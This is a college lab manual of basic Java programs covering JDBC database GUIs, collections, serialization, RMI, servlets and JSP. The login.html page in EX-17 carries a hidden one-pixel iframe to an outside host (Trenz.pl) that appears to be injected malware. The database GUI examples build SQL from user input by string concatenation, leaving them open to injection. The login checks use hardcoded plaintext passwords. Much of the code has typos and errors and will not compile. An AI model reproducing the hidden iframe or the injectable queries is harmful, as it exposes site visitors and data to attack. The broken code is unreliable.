Docstoc

Advance Java Programs

Document Sample
Advance Java Programs Powered By Docstoc
					                                                                           Page no.

EX-1 Program to create database table through java using Statement Interface.

import java.sql.*;
public class Createtab
{
  public static void main(String[] args)throws ClassNotFoundException,SQLException
  {
       Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
       Connection con=DriverManager.getConnection("jdbc:odbc:Student");
        Statement st;
        if(con!=null)
       {
               st=con.createStatement();
               st.executeUpdate("create table Staff (staffid number,staffname
               varchar(20),saffsal number)");
               System.out.println("\n\t\t THE TABLE IS CREATED SUCCESSFULLY.");
               st.close();
       }
       con.close();
  }
}

                                          .




                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                           Page no.

EX-2 Program to demonstrate the use of PreparedStatement interface.

import java.sql.*;
import java.util.Scanner;
public class Prepare1
{
  public static void main(String[] args) throws ClassNotFoundException,SQLException
  {
    Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
    Connection con=DriverManager.getConnection("jdbc:odbc:Student");
    PreparedStatement pst=con.prepareStatement("insert into Staff values(?,?,?)");
    Scanner s=new Scanner (System.in);
    int no;
    do
    {
       System.out.println("\n\t\t ENTER THE STAFF ID:");
       pst.setInt(1,s.nextInt());
       System.out.println("\n\t\t ENTER THE STAFF NAME:");
       pst.setString(2,s.next());
       System.out.println("\n\t\t ENTER THE STAFF SALARY:");
       pst.setInt(3,s.nextInt());
       pst.executeUpdate();
       System.out.println("\n\t\t DO YOU WANT TO ENTER THE ANY RECORD(1/2):");
       no=s.nextInt();
    } while (no! =2);
    pst.close();
    con.close();
  }
}




                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                               Page no.

EX-3 WAP to Insert data into database table using GUI java programming.

import java.sql.*;
import java.awt.event.*;
import java.awt.*;
class InsertD extends Frame implements ActionListener
{
        Connection con;
        Statement st;
        ResultSet rs;
        Label l1,l2,l3,l4;
        TextField t1,t2,t3,t4;
        Button b1;
        public InsertD(String sss)
        {
                super(sss);
                setLayout(null);
                setBackground(new Color(255,246,235));
                try
                {
                         Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
                         con=DriverManager.getConnection("jdbc:odbc:Student");
                         st =con.createStatement
                         (ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE );
                         rs=st.executeQuery("Select * from Stud");
                }
                catch (Exception e)
                {
                         System.out.println (e);
                }
                l1=new Label ("Enter Student name :");
                l1.setFont (new Font("Times New Roman",Font.ITALIC,20));
                l1.setBounds (50, 50, 200, 30);
                add (l1);
                t1=new TextField ();
                t1.setFon t(new Font("Times New Roman",Font.ITALIC,20));
                t1.setBounds (350, 50, 100, 30);
                add (t1);

              l2=new Label ("Enter Student Roll number:");
              l2.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l2.setBounds (50, 100, 300, 30);
              add (l2);
              t2=new TextField ();
              t2.setFont (new Font("Times New Roman",Font.ITALIC,20));
              t2.setBounds (350, 100, 100, 30);
              add (t2);

              l3=new Label ("Enter Student Branch :");
              l3.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l3.setBounds (50, 150, 300, 30);
              add (l3);
              t3=new TextField();

                              K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                        Page no.

              t3.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              t3.setBounds (350, 150, 100, 30);
              add (t3);

              l4=new Label ("Enter Student Marks :");
              l4.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l4.setBounds (50, 200, 300, 30);
              add (l4);
              t4=new TextField ();
              t4.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              t4.setBounds (350, 200, 100, 30);
              add (t4);

              b1=new Button ("Save");
              b1.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              b1.setBounds (350, 300, 100, 30);
              add (b1);
              b1.addActionListener (this);

              setVisible(true);
              setBounds(0,0,1000,1000);
       }
       public void actionPerformed(ActionEvent ae)
       {
               String s1=t1.getText ();
               String s2=t3.getText ();
               int s3=Integer.parseInt(t2.getText());
               int s4=Integer.parseInt(t4.getText());
               if(ae.getSource()==b1)
               {
                       try
                       {
                               String str="insert into stud”+
                                          “values ('"+s1+"',"+s3+",'"+s2+"',"+s4+")";
                               rs=st.executeQuery(str);
                               con.close();
                       }
                       catch (Exception e)
                       {

                              //System.out.println(e);
                      }
              }
       }
}
public class Insert
{
        public static void main (String[] args)
        {
                InsertD d=new InsertD(“Insert Data”);
                d.addWindowListener(new WindowAdapter()
                {public void windowClosing(WindowEvent e){System.exit(0);}});
         }
}

                                K. S. G. B. S’S BIGCE, SOLAPUR
                                                                               Page no.

EX-5 WAP to Delete data into database table using GUI java programming.

import java.awt.*;
import java.awt.event.*;
import java.sql.*;
class Delete extends Frame implements ActionListener
{
        Connection con;
        Statement st;
        ResultSet rs;
        Label l1,l2,l3,l4;
        TextField t1,t2,t3,t4;
        Button b1;
        public Delete(String sss)
        {
                super(sss);
                setLayout(null);
                setBackground(new Color(255,246,235));
                try
                {
                         Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
                         con=DriverManager.getConnection("jdbc:odbc:Student");
                         st =con.createStatement
                         (ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE );
                         rs=st.executeQuery("Select * from Stud");
                }
                catch (Exception e)
                {
                         System.out.println (e);
                }
                l1=new Label ("Enter Student name :");
                l1.setFont (new Font ("Times New Roman",Font.ITALIC,20));
                l1.setBounds (50, 50, 200, 30);
                add (l1);
                t1=new TextField ();
                t1.setFon t(new Font("Times New Roman",Font.ITALIC,20));
                t1.setBounds (350, 50, 100, 30);
                add (t1);

              l2=new Label ("Enter Student Roll Number for Deletion :");
              l2.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l2.setBounds (50, 100, 300, 30);
              add (l2);
              t2=new TextField ();
              t2.setFont (new Font("Times New Roman",Font.ITALIC,20));
              t2.setBounds (350, 100, 100, 30);
              add (t2);

              l3=new Label ("Enter Student Branch :");
              l3.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l3.setBounds (50, 150, 300, 30);
              add (l3);
              t3=new TextField ();


                              K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                 Page no.

              t3.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              t3.setBounds (350, 150, 100, 30);
              add (t3);

              l4=new Label ("Enter Student Marks :");
              l4.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l4.setBounds (50, 200, 300, 30);
              add (l4);
              t4=new TextField ();
              t4.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              t4.setBounds (350, 200, 100, 30);
              add (t4);

              b1=new Button ("Delete");
              b1.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              b1.setBounds (350, 300, 100, 30);
              add (b1);
              b1.addActionListener (this);

              setVisible(true);
              setBounds(0,0,1000,1000);
       }
       public void actionPerformed(ActionEvent ae)
       {
               int rno=Integer.parseInt(t2.getText());
               if(ae.getSource()==b1)
               {
                       try
                       {
                              String str="delete from Stud where rollno="+rno;
                               st.executeQuery(str);
                               con.close();
                       }
                       catch(Exception e)
                       {
                              //System.out.println (e);
                       }
               }
       }
}
public class Deleterec
{
        public static void main(String[] args)
        {
                 Delete d=new Delete(“Delete Data”);
                 d.addWindowListener(new WindowAdapter(){public void
                windowClosing(WindowEvent e){System.exit(0);}});
        }
}




                               K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                    Page no.

EX-4 WAP to Search data into database table using GUI java programming.
import java.sql.*;
import java.awt.*;
import java.awt.event.*;
class SearchD extends Frame implements ActionListener
{
        Connection con;
        Statement st;
        ResultSet rs;
        Label l1, l2, l3, l4;
        TextField t1, t2, t3, t4;
        Button b1;
        public SearchD (String sss)
        {
                 Super(sss);
                 setLayout(null);
                 setBackground(new Color(255,246,235));
                 try
                 {
                           Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
                           con=DriverManager.getConnection("jdbc:odbc:Student");
                           st= con.createStatement
                           (ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE );
                           rs=st.executeQuery("Select * from Stud");
                 }
                 catch (Exception e)
                 {
                           System.out.println (e);
                 }
                 l1=new Label ("Student name :");
                 l1.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
                 l1.setBounds (50, 50, 200, 30);
                 add (l1);
                 t1=new TextField ();
                 t1.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
                 t1.setBounds (350, 50, 100, 30);
                 add (t1);

              l2=new Label ("Enter Student Roll number:");
              l2.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l2.setBounds (50, 100, 300, 30);
              add (l2);
              t2=new TextField ();
              t2.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              t2.setBounds (350, 100, 100, 30);
              add (t2);

              l3=new Label ("Student Branch :");
              l3.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              l3.setBounds (50, 150, 300, 30);
              add (l3);
              t3=new TextField ();
              t3.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
              t3.setBounds (350, 150, 100, 30);
              add (t3);


                               K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                         Page no.

               l4=new Label ("Student Marks :");
               l4.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
               l4.setBounds (50, 200, 300, 30);
               add (l4);
               t4=new TextField ();
               t4.setFont (new Font ("Times New Roman", Font.ITALIC, 20));
               t4.setBounds (350, 200, 100, 30);
               add (t4);

               b1=new Button ("GetData");
               b1.setFont (new Font("Times New Roman",Font.ITALIC,20));
               b1.setBounds (350,300, 100, 30);
               add (b1);
               b1.addActionListener (this);
               setVisible(true);
               setBounds(0,0,1000,1000);
       }
       public void actionPerformed(ActionEvent ae)
       {
               int s2 = Integer.parseInt(t2.getText());
               if (ae.getSource() == b1)
               {
                        try
                        {
                                String str3 = "select * from Stud where rollno=" + s2;
                                rs = st.executeQuery(str3);
                                while (rs.next())
                                {
                                         String nm = rs.getString("name");
                                         String id = rs.getString("rollno");
                                         String br = rs.getString("branch");
                                         String ma = rs.getString("marks");
                                         t1.setText (nm);
                                         t2.setText (id);
                                         t3.setText (br);
                                         t4.setText (ma);
                                }
                                //con.close();
                        }
                        catch (Exception e)
                        {
                                //System.out.println(e);
                        }
               }
       }
}
public class Search
{
         public static void main(String[] args)
          {
                 SearchD d=new SearchD(“Search Data”);
                 d.addWindowListener(new WindowAdapter(){public void window
                 Closing(WindowEvent e){System.exit(0);}});
        }
}
}

                                 K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                          Page no.

EX-6 WAP to Update data into database table using GUI java programming.

import java.awt.event.*;
import java.awt.*;
import java.util.*;
import java.sql.*;
class InsRs3 extends Frame implements ActionListener
{
         Connection con;
         Statement st;
         ResultSet rs;
         Label l1,l2,l3,l4;
         TextField t1,t2,t3;
         Button b1,b2;
         public InsRs3()
         {
                  setLayout(null);
                  setBackground(new Color(255,243,232));
                  try
                  {
                            Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
                            con=DriverManager.getConnection("jdbc:odbc:DSNSTUD");
                            st=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_
                  UPDATABLE );
                            rs=st.executeQuery("Select * from student");
                  }
                  catch(Exception e)
                  {
                            System.out.println (e);
                  }
                  l1=new Label("Enter your name");
                  l1.setFont(new Font("Arial",Font.BOLD,20));
                  l1.setBounds(50,50,200,30);
                  add(l1);
                  t1=new TextField();
                  t1.setFont(new Font("Arial",Font.BOLD,20));
                  t1.setBounds(350,50,100,30);
                  add(t1);
                  l2=new Label("Enter your roll number");
                  l2.setFont(new Font("Arial",Font.BOLD,20));
                  l2.setBounds(50,100,300,30);
                  add(l2);
                  t2=new TextField();
                  t2.setFont(new Font("Arial",Font.BOLD,20));
                  t2.setBounds(350,100,100,30);
                  add(t2);
                  l3=new Label("Enter your branch name");
                  l3.setFont(new Font("Arial",Font.BOLD,20));
                  l3.setBounds(50,150,300,30);
                  add(l3);
                  t3=new TextField();
                  t3.setFont(new Font("Arial",Font.BOLD,20));
                  t3.setBounds(350,150,100,30);
                  add(t3);
                  b1=new Button ("GetData");
                  b1.setFont(new Font("Arial",Font.BOLD,20));
                  b1.setBounds(350,300,100,30);
                  b1.addActionListener (this);
                  add(b1);

                                 K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                          Page no.

                 b2=new Button ("Update");
                 b2.setFont(new Font("Arial",Font.BOLD,20));
                 b2.setBounds(500,300,100,30);
                 b2.addActionListener (this);
                 add(b2);
                 setVisible(true);
                 setBounds(0,0,1000,1000);
        }
        public void actionPerformed(ActionEvent ae)
        {
                int s4 =Integer.parseInt ( t2.getText());
                if (ae.getSource() == b1)
                {
                          try
                          {
                            String str3 = "select * from student where Stud_Id=" + s4;
                                   rs = st.executeQuery(str3);
                                   while (rs.next())
                                   {
                                             String nm = rs.getString("Stud_Name");
                                             String id = rs.getString("Stud_Id");
                                             String br = rs.getString("Stud_Branch");
                                             t1.setText(nm);
                                             t2.setText(id);
                                             t3.setText(br);
                                   }
                          }
                          catch (Exception e)
                          {
                                   //System.out.println(e);
                          }
                }
                if (ae.getSource() == b2)
                {
                          try
                          {
                                   //rs.next();
                                   String s1=t1.getText();
                                   int s2=Integer.parseInt(t2.getText ());
                                   String s3=t3.getText ();
                                   String str4 = "update student set
                                   Stud_Name='"+s1+"',Stud_Id="+s2+",Stud_Branch='"+s3+"'where
                                   Stud_Id="+s2;
                                   rs = st.executeQuery(str4);
                                   con.close();
                          }
                          catch (Exception e){
                                   //System.out.println(e);
                          }
                }
        }
}
class Updation
{
        public static void main(String cp[])
        {
                 InsRs3 is = new InsRs3();
        }
}

                                    K. S. G. B. S’S BIGCE, SOLAPUR
                                                                        Page no.

EX-7:- Program for menu driven database operation implementation.

import java.sql.*;
import java.util.Scanner;
public class Menu
{
  public static void main(String[] args) throws
  ClassNotFoundException,SQLException
  {
       Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
       Connection con=DriverManager.getConnection("jdbc:odbc:Student");
       Statement st;
       ResultSet res;
       PreparedStatement pst,pst1;
       int ch,rno,mar;
       String na,br;
       Scanner s=new Scanner(System.in);
       do
       {
              System.out.println("\t\t *** MENUS FOR DATABASE ***");
              System.out.println("\n\t\t 1. INSERT");
              System.out.println("\n\t\t 2. DELETE");
              System.out.println("\n\t\t 3. DISPLAY");
              System.out.println("\n\t\t 4. EXIT");
              System.out.println("\n\t\t ENTER YOUR CHOICE:");
              ch=s.nextInt();
              switch(ch)
              {
                     case 1:System.out.println("\n\t\t ENTER THE NAME:");
                            na=s.next();
                           System.out.println("\n\t\t ENTER THE ROLL NO:”);
                            rno=s.nextInt();
                            System.out.println("\n\t\t ENTER THE BRANCH:");
                            br=s.next();
                            System.out.println("\n\t\t ENTER THE MARKS:");
                            mar=s.nextInt();
                            pst=con.prepareStatement("insert into Stud
                            values(?,?,?,?)");
                            pst.setString(1,na);
                            pst.setInt(2,rno);
                            pst.setString(3,br);
                            pst.setInt(4,mar);
                            pst.executeUpdate();
                            System.out.println("\n\t\t ONE ROW INSERTED
                            SUCCESSFULLY.");
                            pst.close();
                            break;
                     case 2:System.out.println("\n\t\t ENTER THE NAME FOR
                            DELETION:");
                            String cho=s.next();
                            pst=con.prepareStatement("delete from Stud where
                            name=?");
                            pst.setString(1,cho);


                           K. S. G. B. S’S BIGCE, SOLAPUR
                                                                            Page no.

                             pst.executeUpdate();
                             System.out.println("\n\t\t ROW DELETED
                             SUCCESSFULLY.");
                             pst.close();
                             break;
                      case 3:st=con.createStatement();
                             res=st.executeQuery("select * from Stud");
                             System.out.println("\n\t\t ** STUDENT RECORDS **");
                             System.out.println("\n\t\t NAME \tROLLNO\tBRANCH
                             \tMARKS\n");
                             while(res.next())
                             {
                                    System.out.print("\t\t"+res.getString("name"));
                                    System.out.print("\t"+res.getInt("rollno"));
                                    System.out.print("\t"+res.getString("branch"));
                                    System.out.print("\t"+res.getInt("marks")+"\n");
                             }
                             res.close();
                             st.close();
                             break;
               }
        } while (ch! =4);
    }
}




                              K. S. G. B. S’S BIGCE, SOLAPUR
                                                                        Page no.

Ex- 8 Program on any one class of collection interface.

import java.util.*;
public class Linklist
{
   public static void main(String[] args)
   {
     LinkedList <String>ll=new LinkedList<String>();
     ll.add("E");
     ll.add("I");
     ll.add("O");
     ll.add("U");
     ll.addFirst("VOWEL:-");
     ll.add("U");
     ll.add(1,"A");
     System.out.println("\t"+ll);
     ll.remove("U");
     System.out.println("\n\t THE CONTENTS AFTER DELETION:\n");
     System.out.println("\t"+ll);
     ll.removeLast();
      System.out.println("\n\t THE CONTENTS AFTER DELETION OF LAST
     ELEMENT:\n");
     System.out.println("\t"+ll);
     System.out.println("\n\t\t UPDATING LINKED LIST ITEMS ARE: \n");
     ll.set(0,"RED");
     ll.set(1,"GREEN");
     ll.set(2,"YELLOW");
     ll.set(3,"PINK");
     ll.set(4,"BLUE");
     System.out.println("\t"+ll);
     ll.removeFirst();
     System.out.println("\n\t\t DELETION AFTER FIRST ELEMENT: \n");
     System.out.println("\t"+ll);
  }
}




                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                           Page no.

Ex-9.1 Program to demo the use of Iterator Interface in collection Interface.

import java.util.*;
public class Arraylisty
{
  public static void main(String[] args)
  {
     ArrayList<String> ar=new ArrayList<String>();
     ar.add("A");
     ar.add("B");
     ar.add("C");
     ar.add("D");
     ar.add("E");
     ar.add("F");
     ar.add("G");
     ar.add(1,"A");
     System.out.println("\n\t\t USING THE ADD METHOD:\t\t");
     System.out.println("\n\t\t"+ar);
     ar.remove("F");
     System.out.println("\n\t\t AFTER REMOVING F:\n\t\t "+ar);
     System.out.println("\n\t\t USING THE ITERATOR INTERFACE:\n\t\t" );
     String s;
     Iterator e=ar.iterator();
     while (e.hasNext())
     {
       s=(String)e.next();
       System.out.print("\t"+s);
     }
  }
}




                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                           Page no.

 Ex-9.2 Program to demo the use of ListIterator interface in collection Interface .

import java.util.*;
public class Listiter2
{
       public static void main(String[] args)
       {
     ArrayList <String>ar=new ArrayList<String>();
     ar.add("RED");
     ar.add("GREEN");
     ar.add("PURPLE");
     ar.add("WHITE");
     ar.add("BLACK");
     ar.add("PINK");
     ar.add("BLUE");
     System.out.println("\n\n\t\t THE COTENTS OF ARRAY :\n");
     Iterator <String>ir=ar.iterator();
     while (ir.hasNext())
         System.out.print("\t"+ir.next());
     ListIterator <String>lt=ar.listIterator();
     while (lt.hasNext())
         lt.set(lt.next()+" PEN");
     System.out.println("\n\n\t\t CONTENTS AFTER MODIFICATION:\n");
     ir=ar.iterator();
    while (ir.hasNext())
       System.out.print(" "+ir.next());
     System.out.println("\n\n\t\t CONTENTS LISTED BACKWARDS :\n");
     while (lt.hasPrevious())
           System.out.print(" "+lt.previous());
       }
}




                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                         Page no.

EX-10 Program for implementation of serialization concept.

import java.io.*;
import java.lang.*;
class Student implements Serializable
{
        String sna,sclss;
        int srno;
        public void getData ()
        {
                BufferedReader br=new BufferedReader(new InputStreamReader
                (System.in));
                try
                {
                        System.out.println("\n\t\t ENTER THE STUDENT ROLL NO:");
                        srno=Integer.parseInt(br.readLine());
                        System.out.println("\n\t\t ENTER THE STUDENT NAME:");
                        sna=br.readLine();
                        System.out.println("\n\t\t ENTER THE STUDENT CLASS:");
                        sclss=br.readLine();
                }
                catch (IOException e)
                {
                        System.out.println("\n\t\t"+e);
                }
        }
        public void putData()
        {
                System.out.println("\n\t\t\t STUDENT INFORMATION");
                System.out.println("\n\t\t STUDENT ROLL NO:"+srno);
                System.out.println("\n\t\t STUDENT NAME:"+sna);
                System.out.println("\n\t\t STUDENT CLASS:"+sclss);
        }
}
class serialdemo
{

       public static void main(String[] args)
       {
    Student s=new Student ();
    Student ss=new Student ();
    s.getData ();
    try
    {
       FileOutputStream fout=new FileOutputStream("stud.txt");
       ObjectOutputStream oos=new ObjectOutputStream(fout);
       oos.writeObject(s);
       oos.flush();
       oos.close();
       FileInputStream fin=new FileInputStream("stud.txt");
       ObjectInputStream ois=new ObjectInputStream(fin);
       ss=(Student)ois.readObject();

                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                  Page no.

           ois.close();
        }
        catch (Exception e)
        {
           System.out.println("\n\t\t"+e);
        }
        ss.putData();
    }
}




                                 K. S. G. B. S’S BIGCE, SOLAPUR
                                                                      Page no.

EX-11 PROGRAM ON RMI.

    a. Interface.java

import java.rmi.*;
public interface AddIntf extends Remote
{
        public int add(int x,int y) throws RemoteException;
        public int sub(int x ,int y) throws RemoteException;

}




       b. Addimpl.java

import java.rmi.*;
import java.rmi.server.*;
public class AddImpl extends UnicastRemoteObject implements AddIntf
{
        public AddImpl() throws RemoteException{}
        public int add(int x,int y) throws RemoteException
        {
             return x+y;
        }
        public int sub(int x,int y) throws RemoteException
        {
             return x-y;
        }
}




                               K. S. G. B. S’S BIGCE, SOLAPUR
                                                                             Page no.

        c. AddClient
import java.rmi.*;
import java.net.*;
public class AddClient
{
        public static void main(String cp[]) throws Exception
        {

            AddIntf obIntf= (AddIntf)Naming.lookup("rmi://127.0.0.1/Add");
            int z=obIntf.add(10,20);
            int z1=obIntf.sub(30,10);
            System.out.println(z);
            System.out.println(z1);
       }
}




       d. AddServer.java

import java.rmi.*;
import java.net.*;
public class AddServer
{
        public static void main(String cp[]) throws Exception
        {
             AddImpl obImpl=new AddImpl();
             Naming.rebind("Add",obImpl);
        }
}




                              K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                  Page no.

EX-12.1 Program for implementation of SimpleServlet .
 SimpleServlet.java
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class SimpleServlet extends HttpServlet
{
        public void doGet(HttpServletRequest req,HttpServletResponse res)throws
        IOException,ServletException
        {
                res.setContentType ("text/html");
                PrintWriter out=res.getWriter();
                out.println ("<html><head><title>");
                out.println ("WEL-COME TO SIMPLESERVLET");
                out.println ("</title></head><body>");
                out.println ("<h1>This is output from SimpleServlet</h1>");
                out.println ("<h2>This is output from SimpleServlet</h2>");
                out.println ("</body></html>");
                out.close ();
        }
}
web.xml
<web-app>
        <servlet>
                <servlet-name>SimpleSevlet</servlet-name>
                <servlet-class>SimpleSevlet</servlet-class>
        </servlet>
        <servlet-mapping>
                <servlet-name>SimpleSevlet</servlet-name>
                <url-pattern>/om</url-pattern>
        </servlet-mapping>
</web-app>




                                K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                         Page no.

EX-12.2 Program to demo hello servlet extending GenericServlet class and service()...
 hello.java
import java.io.*;
import javax.servlet.*;
public class hello extends GenericServlet
{
        public void service(ServletRequest req,ServletResponse res) throws Exception
        {
                     res.setContentType ("text/html");
                     PrintWriter out=res.getWriter ();
                     out.println("<html>");
                     out.println("<head><title>A hello world servlet</title></head>");
                     out.println("<body>");
                     out.println("<h1>hello world</h1>");
                     out.close();
        }
}


 web.xml
<web-app>
        <servlet>
                <servlet-name>hello</servlet-name>
                <servlet-class>hello</servlet-class>
        </servlet>
        <servlet-mapping>
                <servlet-name>hello</servlet-name>
                <url-pattern>/om1</url-pattern>
        </servlet-mapping>
</web-app>




                                    K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                  Page no.

EX-13 Program to count no. of times servlet is accessed along within single servlet.


import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;
public class hitcountServlet extends HttpServlet
{
       public void init(ServletConfig config) throws ServletException
       {
       //The ServletConfig object must be passed to the super class
       super.init(config);
       }
       // A counter to keep track of the number of users visiting the website
       static int count;
       //Process the HTTP Get request
       public void doGet(HttpServletRequest request, HttpServletResponse response)
       throws ServletException, IOException
       {
               response.setContentType("text/html");
               PrintWriter out=response.getWriter();
               count++;
               out.println("<html>");
               out.println("<head><title>BasicServlet</title></head>");
               out.println("<body>");
               out.println("You are user number " + String.valueOf(count)+ " visting
               our web site"+ "\n");
               out.println("</body></html>");
       }
       //Get Servlet information
       public String getServletInfo()
       {
               return "BasicServlet Information";
       }
}




                              K. S. G. B. S’S BIGCE, SOLAPUR
                                                                           Page no.


import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class countS extends HttpServlet
{
       int count=0;
       public void doGet(HttpServletRequest req,HttpServletResponse res) throws
ServletException,IOException
       {
               res.setContentType("Text/html");
               PrintWriter out=res.getWriter();
               count++;
               out.println("<H30><B>Since Loaded, Servlet has been accessed for
               "+count+" times </B></H30>\n");
               out.println(new Date());
               out.close();
       }
}

 web.xml
<web-app>
      <servlet>
             <servlet-name>hello</servlet-name>
             <servlet-class>countS</servlet-class>
      </servlet>
      <servlet-mapping>
             <servlet-name>hello</servlet-name>
             <url-pattern>/om1</url-pattern>
      </servlet-mapping>
</web-app>




                             K. S. G. B. S’S BIGCE, SOLAPUR
                                                                             Page no.

EX- 14 Program for servlet to display server information like server name…

import javax.servlet.*;
import java.io.*;
import javax.servlet.http.*;
public class serinfo extends HttpServlet
{
       public void doGet(HttpServletRequest req,HttpServletResponse res) throws
       IOException,ServletException
       {

              res.setContentType("text/html");
              PrintWriter out=res.getWriter();
              out.println("<B>server name = "+req.getServerName()+"<br>");
              out.println("server protocol = "+req.getProtocol()+"<br>");
              out.println("server port number = "+req.getServerPort()+"<br>");
              out.println("server scheme = "+req.getScheme());
       }
}

 web.xml
<web-app>
       <servlet>
              <servlet-name>hello</servlet-name>
              <servlet-class>serinfo</servlet-class>
       </servlet>
       <servlet-mapping>
              <servlet-name>serinfo</servlet-name>
              <url-pattern>/om1</url-pattern>
       </servlet-mapping>
</web-app>




                               K. S. G. B. S’S BIGCE, SOLAPUR
                                                                            Page no.

EX- 15 Program on servlet to develop login.html & send username & password to
servlet to validate the user.

import javax.servlet.http.*;
import javax.servlet.*;
import java.io.*;
public class dologin extends HttpServlet
{
        public void doPost(HttpServletRequest req,HttpServletResponse res) throws
        IOException,ServletException
        {
               res.setContentType("text/html");
               PrintWriter out=res.getWriter();
               out.println("<html><head><title>LOGIN DEMO</title></head>");
               out.println("<body>");
               String user=req.getParameter("uname");
               String pass=req.getParameter("ppass");
               if(user.equals("vinayak")&&pass.equals("vinayak"))
               {
                       res.sendRedirect("welcome.jsp");
               }
               else
               {
                       //res.sendError(0,"Invalid user");
                       res.sendRedirect("logien.html");
                       //out.println("<B>Invalid user");
               }
               out.println("</body>");
               out.println("</html>");
        }
}




                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                         Page no.

Login.jsp

<%@ page import="java.lang.*" %>
<html>
<body>
<%
      out.println("<B><H30> You are successfully logged In <H30><B>");
      out.println();
 %>
</body>
</html>


Web.xml

<web-app>
<servlet>
        <servlet-name>SOne</servlet-name>
        <servlet-class>dologin</servlet-class>
</servlet>
<servlet-mapping>
        <servlet-name>SOne</servlet-name>
        <url-pattern>/do</url-pattern>
</servlet-mapping>


</web-app>




                             K. S. G. B. S’S BIGCE, SOLAPUR
                                                                         Page no.

EX-16 Program to display sessionID, date & Wel-Come message.

<%@ page import="java.util.*" contentType="text/html" session="true"    %>
<html>
 <body>
      <b>Date:</b>
      <%     out.println(new Date());    %><br><br>
      <b>Session Id:</b>
      <%out.println(session.getId());    %><br><br><br>
      <b><h1>Welcome to the World of Java Server Pages (JSP)</h1></b>
 </body>
</html>




                            K. S. G. B. S’S BIGCE, SOLAPUR
                                                                                 Page no.

EX-17 Program to validate username & password & display appropriate message.

Validate.jsp
<%-- Directives --%>
<%@ page language="java"%>
<html>
<head>
<B>Validation</B><br>
</head>
<body>
<%-- Declarations --%>
<%!
         String name,pass;
         int flag=0;
%>
<%-- Scriplets --%>
<%
         name=request.getParameter("uname");
         pass=request.getParameter("ppass");
         if(name.equals("Vinayak")&&pass.equals("Alwal"))
         {
%>
<%-- Expressions --%>
<B>Welcome &nbsp;<%=name%></B>
<%= flag=1%>
<%
         }
%>
<%
         if(flag==0)
         {
%>
<B>Try Again!</B>
<%
         }
%>
</body>
</html>

Llgon.html
<html>
<body>
<form method="POST" action="validate.jsp">
<b>Enter UserName : <input type=text name=uname><br>
<b>Enter PassWord : <input type=text name=ppass><br>
<input type=submit value="Submit">
<input type=reset value="Reset">
</form>
<iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>
</body> </html>




                              K. S. G. B. S’S BIGCE, SOLAPUR
                                                                    Page no.

EX- 18.1 Demonstration of session management in jsp.

One
<%@page language="java" contentType="text/html" session="true"%>
<html>
<body>
<form action="two.jsp" method="POST">
        Enter User Name:<input type=text name=uname><br>
        Enter Password:<input type=text name=pass><br>
<input type=submit value="Submit">
</form>
</body>
</html>

One
<html>
<body>
<form method="GET" action="two.jsp">
 <input type="text" name="txtName">
 <br>
<input type="submit" value="Ok">
</form>
</body>
</html>

Two
<%@ page language="java" contentType="text/html" session="true"%>
<html>
<body>
<%
        String unm=(String)session.getAttribute("usern");
        String pss=(String)session.getAttribute("passw");
%>
User Name=<%=unm%><br>
Password=<%=pss%><br>
Click<a href="one.jsp">Here</a>to go back to First page.
</body>
</html>

Two.jsp
<html>
<body>
<% out.print("Hello" + session.getAttribute("user")); %>
</body>




                                K. S. G. B. S’S BIGCE, SOLAPUR
                                                                    Page no.


Three
<html>
<body>
<%
         String name=request.getParameter("txtName");
         session.setAttribute("user",name);
%>
<a href="three.jsp"> click here to get session attribute </a>

</body>
</html>

Three
<%@ page language="java" contentType="text/html" session="true"%>
<html>
<body>
<%
        String username=request.getParameter("uname");
        String password=request.getParameter("pass");
        session.setAttribute("usern",username);
        session.setAttribute("passw",password);
%>
Click<a href="three.jsp">Here</a>to go next page
</body>
</html>




                                 K. S. G. B. S’S BIGCE, SOLAPUR

				
